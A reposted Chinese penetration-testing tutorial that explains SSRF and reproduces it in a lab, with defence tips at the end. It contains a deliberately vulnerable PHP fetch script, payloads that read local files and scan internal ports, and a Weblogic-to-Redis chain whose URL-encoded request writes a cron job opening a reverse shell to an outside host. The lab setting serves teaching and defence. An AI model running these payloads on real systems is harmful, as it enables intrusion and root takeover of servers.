服务端请求伪造(SSRF)及漏洞复现

文章目录

  • 渗透测试漏洞原理
  • 服务端请求伪造
    • 1. SSRF 概述
      • 1.1 SSRF 场景
        • 1.1.1 PHP 实现
      • 1.2 SSRF 原理
      • 1.3 SSRF 危害
    • 2. SSRF 攻防
      • 2.1 SSRF 利用
        • 2.1.1 文件访问
        • 2.1.2 端口扫描
        • 2.1.3 读取本地文件
        • 2.1.4 内网应用指纹识别
        • 2.1.5 攻击内网Web应用
      • 2.2 SSRF 经典案例
        • 2.2.1 访问页面
        • 2.2.2 漏洞测试
        • 2.2.3 注入HTTP头,利用Redis反弹shell
      • 2.3 SSRF 防御
        • 2.3.1 过滤输入
        • 2.3.2 过滤输出
        • 2.3.3 内部网络隔离
        • 2.3.4 授权验证和访问控制
        • 2.3.5 安全编码实践
    • 3. SSRF 挖掘

渗透测试漏洞原理

服务端请求伪造

1. SSRF 概述

服务器会根据用户提交的URL发送一个HTTP请求。使用用户指定的URL,Web应用可以获取图片或者文件资源等。典型的例子是百度识图功能。

如果没有对用户提交URL和远端服务器所返回的信息做合适的验证或过滤,就有可能存在“请求伪造"的缺陷。“请求伪造”,顾名思义,攻击者伪造正常的请求,以达到攻击的目的。如果“请求伪造”发生在服务器端,那这个漏洞就叫做“服务器端请求伪造”,英文名字Server Side Request Forgery,简称SSRF。

SSRF是一种由攻击者发起的伪造服务器发送的请求的一种攻击。

1.1 SSRF 场景

SSRF漏洞主要出现在需要从服务器向其他资源发送请求的应用程序中,例如图片处理、文件下载、URL 转发等。其中被攻击的目标系统通常位于服务器的内部网络。

1.1.1 PHP 实现

利用curl实现,需要PHP扩展组件curl支持

该实验需要开启curl

image-20230904153208677

<?phpif(isset($_REQUEST['url'])){$link = $_REQUEST['url'];$fileName = './curled/'.time().".txt";		# 在curled目录下新建一个文件,将请求到的内容放到该文件中。$curlObj = curl_init($link);		# 初始化$fp = fopen($fileName,'w');curl_setopt($curlObj,CURLOPT_FILE,$fp);curl_setopt($curlObj,CURLOPT_HEADER,0);curl_setopt($curlObj,CURLOPT_FOLLOWLOCATION,TRUE);curl_exec($curlObj);curl_close($curlObj);fclose($fp);if(getimagesize($fileName)){header("Content-Type:image/png");}$fp = fopen($fileName,'r');$result = fread($fp,filesize($fileName));fclose($fp);echo $result;}else{echo "?url=[url]";}
?>

在phpstudy的www目录下创建一个ssrf,然后在ssrf中创建一个curled目录。

image-20230904104632754

在网上复制一个图片的链接https://www.baidu.com/img/PC_wenxin_1142bc061306e094e6eddaa3d9656145.gif

浏览器中输入

http://127.0.0.1/ssrf/ssrf_curl.php?url=http://www.baidu.com/img/PC_wenxin_1142bc061306e094e6eddaa3d9656145.gif

页面效果如下:

image-20230904104815771

整个实验的流程:ssrf_curl.php文件会接受来着客户端的URL地址,然后服务器收到URL地址后,根据这个URL地址发起请求,把请求到的图片保存下来。

1.2 SSRF 原理

服务器接受了来自于客户端的URL 地址,并由服务器发送该URL 请求。

对用户输入的URL 没有进行恰当的过滤,导致任意URL 输入。

没对响应的结果进行检验,直接输出。

1.3 SSRF 危害

漏洞危害:

  • 内部资产暴露:攻击者可以通过伪造的请求访问内部资源,包括数据库、文件系统、配置文件、读取本地文件等。
  • 敏感信息泄露:攻击者可以利用该漏洞获取敏感信息,例如访问受限 API、执行未经授权的操作等。
  • 进行攻击:攻击者可以通过伪造的请求向其他系统发起攻击,例如内网端口扫描、攻击内网应用、内网Web应用指纹识别、利用其他漏洞等。

2. SSRF 攻防

2.1 SSRF 利用

2.1.1 文件访问

?url=http://www.baidu.com 
?url=http://www.baidu.com/img/bd_logo.png 
?url=http://www.baidu.com/robots.txt

例如:

image-20230904154543467

2.1.2 端口扫描

?url=http://127.0.0.1:80 
?url=http://127.0.0.1:3306 
?url=dict://127.0.0.1:3306?url=http://10.10.10.1:22 
?url=http://10.10.10.1:6379

image-20230904154609298

2.1.3 读取本地文件

?url=file:///c:/windows/system32/drivers/etc/hosts 
?url=file:///etc/passwd?url=file:/c:/www/ssrf/ssrf_curl.php

image-20230904155252327

还可以读取ssrf_curl.php文件。

image-20230904155421617

2.1.4 内网应用指纹识别

有些应用是部署在内网的。

<Directory "c:\phpstudy_2016\www\phpMyAdmin"> #Order allow,denyOrder deny,allow deny from all			# 拒绝所有allow from 127.0.0.1	# 只允许本机</Directory>

修改httpd_config配置文件。

image-20230904162510218

配置完后在内网中可以访问到phpMyAdmin

image-20230904162346295

如果是外部访问的话,是无法访问到的。

image-20230904162431514

内网应用指纹识别。可以看到phpmyadmin版本

?url=http://127.0.0.1/phpmyadmin/readme

2.1.5 攻击内网Web应用

内网安全通常都很薄弱。

<Directory "c:\phpstudy_2016\www\cms">#Order allow,deny Order deny,allow deny from allallow from 127.0.0.1</Directory>

通过SSRF 漏洞可以实现对内网的访问,从而可以攻击内网应用。仅仅通过GET 方法可以攻击的内网Web 应用有很多。

?url=http://127.0.0.1/cms/show.php?
id=-33/**/union/**/select/**/1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15/**/from/**/cms_ users?url=http://127.0.0.1/cms/show.php?
id=-33%25%32%30union%25%32%30select%25%32%301,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15%25%32%30from%25%32%30cms_users

实验

image-20230904163233765

该页面存在SQL注入漏洞。尝试进行注入

image-20230904163504345

说明:如果直接注入的话页面是没有反应的,因为这里的参数如id,联合查询等,应该给show.php,而现在是传递给了ssrf_curl.php。

解决方式:用注释来替换掉空格

image-20230904164320516

2.2 SSRF 经典案例

链接地址:Weblogic SSRF 到GetShell。

启动docker环境

image-20230904165156601

2.2.1 访问页面

发现404错误

image-20230904164944148

这里访问http://your-ip:7001/uddiexplorer/,无需登录即可查看uddiexplorer应用。

image-20230904165253383

访问指定页面,使用bp抓取数据包,点击Search。

image-20230904165507514

找到指定的数据包信息

image-20230904165630634

右键发送到重发器查看,发现页面报错

image-20230904165810673

使用DNSLog,探测该页面是否存在SSRF漏洞。

image-20230904170137054

bp中修改数据包

image-20230904170255931

查看DNSLog解析结果

image-20230904170231107

解析成功,说明该处存在SSRF漏洞。

2.2.2 漏洞测试

SSRF漏洞存在于http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp,在brupsuite下测试该漏洞。

访问一个可以访问的IP:PORT,如http://127.0.0.1:80

image-20230904170651788

可访问的80端口发生错误。

访问非http协议,则会返回did not have a valid SOAP content-type

image-20230904171943805

修改为一个不存在的端口,将会返回could not connect over HTTP to server

image-20230904171139447

通过错误的不同,即可探测内网状态。

通过SSRF漏洞探测到内网中的Redis服务器(docker环境的网段一般是172.*)这里我检测到了172.20.0.2该IP存活。探索该IP有哪些端口处于开放状态,这里探测到了Redis的6379端口开放。

image-20230904171943805

对于Redis数据库有未授权访问的漏洞,利用方式如下:

  • 数据库内容泄露
  • 利用Redis数据库读写文件
    • 编写Webshell,编写计划任务,写ssh公钥
  • RCE漏洞

因为读取数据是看不到服务器响应的,属于无回显状态。所以这里采用写数据的方式,写Webshell的前提是对方需要开启Web服务,而上面测试的时候80端口是未开放的。写ssh公钥的前提是需要对方开启SSH服务。最终采用编写计划任务的方式。

2.2.3 注入HTTP头,利用Redis反弹shell

发送三条redis命令,将弹shell脚本写入/etc/crontab

set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'sh -i >& /dev/tcp/192.168.188.185/21 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save

Redis数据库命令是通过http协议进行提交的所以需要进行url编码:

set%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20'sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.188.185%2F21%200%3E%261'%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave

注意:换行符是“\r\n”,也就是“%0D%0A”。

将url编码后的字符串放在ssrf的域名后面,发送:

GET /uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://172.20.0.2:6379/wuhu%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27sh%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.188.185%2F21%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Awuhu HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close

kali中监听21端口

image-20230904173503042

修改bp中的数据包信息

image-20230904174733741

点击发送数据包。

反弹成功

image-20230904174642517

查看当前权限为root。

image-20230904174827926

最后补充一下,可进行利用的cron有如下几个地方:

  • /etc/crontab 这个是肯定的
  • /etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
  • /var/spool/cron/root centos系统下root用户的cron文件
  • /var/spool/cron/crontabs/root debian系统下root用户的cron文件

2.3 SSRF 防御

2.3.1 过滤输入

  • 限制协议,仅允许 http 或 https 协议。

  • 限制IP,避免应用被用来获取内网数据,攻击内网。

  • 限制端口,限制请求端口为常用端口。

2.3.2 过滤输出

  • 过滤返回信息,只要不符合要求的,全部过滤。

  • 统一错误信息,让攻击无法对内网信息进行判断。

2.3.3 内部网络隔离

将服务器与内部资源隔离开,并使用防火墙等措施限制对内部网络的访问。

2.3.4 授权验证和访问控制

实施严格的授权验证和访问控制机制,确保仅授权用户可以访问受限资源。

2.3.5 安全编码实践

开发人员应遵循安全编码指南,进行输入验证和输出编码,以减少漏洞发生的可能性。

3. SSRF 挖掘

Web功能URL关键字
分享
转码服务
在线翻译
图片加载与下载
图片、文章收藏功能
未公开的API 实现
share
wap
url
link
src
source
target
u
3g
display
sourceURL
imageURL
domain

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/69017.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

自然语言处理实战项目17-基于多种NLP模型的诈骗电话识别方法研究与应用实战

大家好&#xff0c;我是微学AI&#xff0c;今天给大家介绍一下自然语言处理实战项目17-基于NLP模型的诈骗电话识别方法研究与应用&#xff0c;相信最近小伙伴都都看过《孤注一掷》这部写实的诈骗电影吧&#xff0c;电影主要围绕跨境网络诈骗展开&#xff0c;电影取材自上万起真…

基于Java+SpringBoot+Vue前后端分离善筹网(众筹)设计和实现

博主介绍&#xff1a;✌全网粉丝30W,csdn特邀作者、博客专家、CSDN新星计划导师、Java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ &#x1f345;文末获取源码联系&#x1f345; &#x1f447;&#x1f3fb; 精彩专…

vue3在路由route.js中获取不到仓库pinia中store里面的值

原因&#xff1a;小仓库(useUserStore )必须有大仓库(pinia)才能运行&#xff0c;在组件中能使用pinia仓库的数据&#xff0c;是因为在main.ts中已经在vue上面挂载了大仓库(pinia)&#xff0c;但是route.js不是vue组件&#xff0c;没有被挂载大仓库&#xff0c;所以不能运行 解…

使用(七牛云)为例子实现将文件上传到云服务器

目的 目前&#xff0c;用户的头像、分享生成的长图等文件都是存放在本地的&#xff0c;我们可以将他们存放在云服务器中&#xff0c;此处我们使用七牛云作为例子示范。 七牛云 创建账户并申请如下的两个bucket&#xff0c;分别是用户头像的存储空间和分享长图的存储空间。 …

数据库设计DDL

DDL&#xff1a;数据定义语言&#xff0c;用来定义数据库对象&#xff08;数据库、表&#xff09; DDL&#xff08;数据库操作&#xff09; 查询&#xff1a; 查询所有数据库&#xff1a;show databases; 查询当前数据库&#xff1a;select database(); 使用&#xff1a; 使用…

Python 之 match 表达式

Python 从 3.10 版本开始增加了 match 语句&#xff0c;和其他语言常见的 switch 语句极其相似&#xff0c;但功能更加强大。 本文通过实例&#xff0c;了解下其用法。 基本的 match 语句 def http_code(status): match status: case 400 | 404 | 418: …

java八股文面试[JVM]——JVM性能优化

JVM性能优化指南 JVM常用命令 jps 查看java进程 The jps command lists the instrumented Java HotSpot VMs on the target system. The command is limited to reporting information on JVMs for which it has the access permissions. jinfo &#xff08;1&#xff09;实时…

AIGC专栏3——Stable Diffusion结构解析-以图像生成图像(图生图,img2img)为例

AIGC专栏3——Stable Diffusion结构解析-以图像生成图像&#xff08;图生图&#xff0c;img2img&#xff09;为例 学习前言源码下载地址网络构建一、什么是Stable Diffusion&#xff08;SD&#xff09;二、Stable Diffusion的组成三、img2img生成流程1、输入图片编码2、文本编码…

SpringCloud(35):Nacos 服务发现快速入门

本小节,我们将演示如何使用Spring Cloud Alibaba Nacos Discovery为Spring cloud 应用程序与 Nacos 的无缝集成。 通过一些原生的spring cloud注解,我们可以快速来实现Spring cloud微服务的服务发现机制,并使用Nacos Server作为服务发现中心,统一管理所有微服务。 1 Spring…

vue3中TCplayer应用

环境win10:vitevue3elementUI 1 安装 npm install tcplayer.js2 使用 <template><div><video id"player-container-id" width"414" height"270" preload"auto" playsinline webkit-playsinline></video>&l…

联发科MTK6762/MT6762核心板_安卓主板小尺寸低功耗4G智能模块

MT6762安卓核心板是一款基于MTK平台的高性能智能模块&#xff0c;是一款工业级的产品。该芯片也被称为Helio P22。这款芯片内置了Arm Cortex-A53 CPU&#xff0c;最高可运行于2.0GHz。同时&#xff0c;它还提供灵活的LPDDR3/LPDDR4x内存控制器&#xff0c;此外&#xff0c;Medi…

【FreeRTOS】【应用篇】消息队列【下篇】

前言 本篇文章主要对 FreeRTOS 中消息队列的概念和相关函数进行了详解消息队列【下篇】详细剖析了消息队列中发送、接收时队列消息控制块中各种指针的行为&#xff0c;以及几个发送消息和接收消息的函数的运作流程笔者有关于 【FreeRTOS】【应用篇】消息队列【上篇】——队列基…

【链表OJ 11】复制带随机指针的链表

前言: &#x1f4a5;&#x1f388;个人主页:​​​​​​Dream_Chaser&#xff5e; &#x1f388;&#x1f4a5; ✨✨刷题专栏:http://t.csdn.cn/UlvTc ⛳⛳本篇内容:力扣上链表OJ题目 目录 leetcode138. 复制带随机指针的链表 1. 问题描述 2.代码思路: 2.1拷贝节点插入到…

【文心一言大模型插件制作初体验】制作面试错题本大模型插件

文心一言插件开发初体验 效果图 注意&#xff1a;目前插件仅支持在本地运行&#xff0c;虽然只能自用&#xff0c;但仍然是一个不错的选择。&#xff08;什么&#xff1f;你说没有用&#xff1f;这不可能&#xff01;文心一言app可以支持语音&#xff0c;网页端结合手机端就可…

计算机网络第三节物理层

一&#xff0c;第二章 物理层&#xff08;数据通信有关&#xff09; 1.物理层引入的目的 屏蔽掉传输介质的多样性&#xff0c;导致数据传输方式的不同&#xff1b;物理层的引入使得高层看到的数据都是统一的0,1构成的比特流 2.物理层如何实现屏蔽 物理层靠定义的不同的通信…

智慧园区用水用电信息管理系统:实现高效节能的现代化园区管理

随着科技的不断发展&#xff0c;各类产业园区在我国经济社会发展中发挥着越来越重要的作用。为了提高园区的运营效率、降低能源消耗、实现绿色可持续发展&#xff0c;智慧园区用水用电信息管理系统应运而生。本文将从系统背景、功能特点、应用优势等方面进行详细介绍。 一、系统…

java八股文面试[数据库]——索引下推

什么是索引下推&#xff1f; 索引下推&#xff08;index condition pushdown &#xff09;简称ICP&#xff0c;在Mysql5.6的版本上推出&#xff0c;用于优化查询。 需求: 查询users表中 "名字第一个字是张&#xff0c;年龄为10岁的所有记录"。 SELECT * FROM users…

element+vue table表格全部数据和已选数据联动

1.组件TableChoose <template><div class"tableChooseBox"><div class"tableRow"><div class"tableCard"><div class"tableHeadTip">全部{{ labelTitle }}</div><slot name"body" …

Jupyter Notebook 好用在哪?

Jupyter Notebook 是一个 Web 应用程序&#xff0c;便于创建和共享文学化程序文档&#xff0c;支持实时代码、数学方程、可视化和 Markdown&#xff0c;其用途包括数据清理和转换、数值模拟、统计建模、机器学习等等。目前&#xff0c;数据挖掘领域中最热门的比赛 Kaggle 里的资…

MySQL用navicat工具对表进行筛选查找

这个操作其实很简单&#xff0c;但是对于没操作的人来说&#xff0c;就是不会呀。所以小编出这一个详细图解&#xff0c;希望能够帮助到大家。话不多说看图。 第一步&#xff1a; 点进一张表&#xff0c;点击筛选。 第二步&#xff1a; 点击添加 第三步&#xff1a; 选择要…